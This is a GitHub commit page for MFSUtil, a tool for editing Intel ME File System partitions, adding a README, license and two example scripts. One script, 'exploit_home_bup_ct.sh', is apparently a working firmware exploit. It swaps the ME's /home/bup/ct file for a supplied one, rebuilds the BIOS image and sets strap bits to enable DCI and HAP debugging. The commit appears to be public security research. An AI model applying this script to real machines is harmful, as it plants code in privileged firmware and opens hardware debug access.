Skip to content

Commit

Permalink
Add README and LICENSE + examples
Browse files Browse the repository at this point in the history
  • Loading branch information
kakaroto committed Nov 14, 2019
1 parent b160d8e commit 77cd606
Show file tree
Hide file tree
Showing 4 changed files with 147 additions and 0 deletions.
7 changes: 7 additions & 0 deletions LICENSE.MIT
@@ -0,0 +1,7 @@
Copyright 2019 Youness El Alaoui

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
69 changes: 69 additions & 0 deletions README.md
@@ -0,0 +1,69 @@
# MFSUtil

MFS and CFG file manipulation utility

## Description

This tool can be used to manipulate an MFS (ME File System) partition as well as the CFG files stored within.


## Usage

The tool does one operation per run, so for most things, multiple calls will be necessary. See the examples folder for potential uses.

The manipulation of either MFS or CFG files are mutually exclusive.

```
usage: MFSUtil.py [-h] [-o FILE] [-i ID] [-f PATH] [--mode MODE] [--opt OPT]
[--uid UID] [--gid GID] [--recursive]
[--alignment ALIGNMENT] [--deoptimize] (-m FILE | -c FILE)
(-d | -z | -x | -a FILENAME | -r)
MFS and CFG file manipulation utility.
optional arguments:
-h, --help show this help message and exit
-o FILE, --output FILE
Output file to write
-i ID, --file-id ID ID of the file to manipulate in the MFS file
-f PATH, --file-path PATH
Path of the file to manipulate in the CFG file
--mode MODE Mode for file being added to CFG
--opt OPT Deplyoment option for file being added to CFG
--uid UID User ID for file being added to CFG
--gid GID Group ID for file being added to CFG
--recursive Recursive deletion for a file path in CFG
--alignment ALIGNMENT
Alignment type for CFG files. (default: 0). 0 :
packed. 1 : align all files on chunk start. 2 : align
end of files on end of chunk.
--deoptimize De-optimize chain sequences when adding a file to MFS.
-m FILE, --mfs FILE MFS file to read from
-c FILE, --cfg FILE CFG file to read from
-d, --dump Dump information about the MFS file, or the CFG file
-z, --zip Store the MFS contents to a ZIP file
-x, --extract Extract a file from the MFS file, or a file from the
CFG file
-a FILENAME, --add FILENAME
Add a file to the MFS file or a file to the CFG file
-r, --remove Remove a file from the MFS file, or a file from the
CFG file
The default output is to stdout.
Either one of --mfs or --cfg must be specified to indicate on which type of file to work (MFS or CFG).
You can specify one of the mutually exclusive actions : --dump --zip, --extract, --add, --remove.
For the --extract, --add, --remove actions, if --mfs is specified, then --file-id is required, if --cfg is specified, then --file-path is required.
When adding a file to a CFG file, the --mode, --opt, --uid and --gid options can be added.
The --mode option needs to be a string in the form 'dAEIrwxrwxrwx' where unused bits can be either a space or a dash, like --mode ' rwx---rwx' for example.
The --opt option needs to be a string in the form '?!MF' where unused bits can be either a space or a dash.
When adding a directory, both the file path needs to end with a '/' character and the --mode needs to start with 'd'.
```

## Attribution

This tool was written by Youness Alaoui (KaKaRoTo) but inspired by the [parseMFS](https://github.com/ptresearch/parseMFS) tool by Dmitry Sklyarov from Positive Technologies,
with small parts (CRC algorithm) copied as is.

## License

This software is released under the MIT license.
58 changes: 58 additions & 0 deletions examples/exploit_home_bup_ct.sh
@@ -0,0 +1,58 @@
#!/bin/sh

FILENAME=$1
OUTPUT=$2
MFS_START=0xa8000
MFS_SIZE=0x64000

if [[ "$FILENAME" == "" || "$OUTPUT" == "" ]] ; then
echo "Usage: $0 input.rom output.rom"
echo "ct filename must be 'ct'"
exit
fi

# Extract the MFS partition from the ME image
ifdtool -x $FILENAME
dd if=flashregion_2_intel_me.bin of=MFS.part bs=1 skip=$(($MFS_START)) count=$(($MFS_SIZE))

# Extract file number 7 (fitc.cfg)
../MFSUtil.py -m MFS.part -x -i 7 -o 7.cfg

# Remove the /home/bup/ct file from it
../MFSUtil.py -c 7.cfg -r -f /home/bup/ct -o 7.cfg.noct
rm 7.cfg

# Add the new ct file as /home/bup/ct
../MFSUtil.py -c 7.cfg.noct --add ct --alignment 2 --mode ' ---rwxr-----' --opt '?--F' --uid 3 --gid 351 -f /home/bup/ct -o fitc.cfg
rm 7.cfg.noct

# Delete file id 8 (home) from the MFS partition
../MFSUtil.py -m MFS.part -r -i 8 -o MFS.no8
rm MFS.part

# Delete file id 7 (fitc.cfg) from the MFS partition
../MFSUtil.py -m MFS.no8 -r -i 7 -o MFS.no7
rm MFS.no8

# Add the modified fitc.cfg into the MFS partition
../MFSUtil.py -m MFS.no7 -a fitc.cfg --deoptimize -i 7 -o MFS.new
rm fitc.cfg MFS.no7

# Recreate the the ME image
dd if=flashregion_2_intel_me.bin of=me_before_mfs.bin bs=1 count=$(($MFS_START))
dd if=flashregion_2_intel_me.bin of=me_after_mfs.bin bs=1 skip=$(($MFS_START + $MFS_SIZE))
rm flashregion_*.bin
cat me_before_mfs.bin MFS.new me_after_mfs.bin > me_with_bup_ct.bin
rm me_before_mfs.bin MFS.new me_after_mfs.bin

# Recreate the BIOS firmware
ifdtool -i ME:me_with_bup_ct.bin $FILENAME
rm me_with_bup_ct.bin
mv $FILENAME.new $OUTPUT

# Enable DCI and HAP bits
python -c "print('Enabling DCI and HAP in PCH Strap 0')
with open('$OUTPUT', 'r+b') as f:
f.seek(0x102, 0)
f.write(chr(0x03))
"
13 changes: 13 additions & 0 deletions examples/extract_mfs.sh
@@ -0,0 +1,13 @@
#!/bin/sh

FILENAME=$1
MFS_START=0xa8000
MFS_SIZE=0x64000

ifdtool -x $FILENAME

dd if=flashregion_2_intel_me.bin of=MFS.part bs=1 skip=$(($MFS_START)) count=$(($MFS_SIZE))
../MFSUtil.py -m MFS.part -x -i 7 -o 7.cfg
../MFSUtil.py -m MFS.part -x -i 6 -o 6.cfg
../MFSUtil.py -m MFS.part -d > MFS.dump

0 comments on commit 77cd606

Please sign in to comment.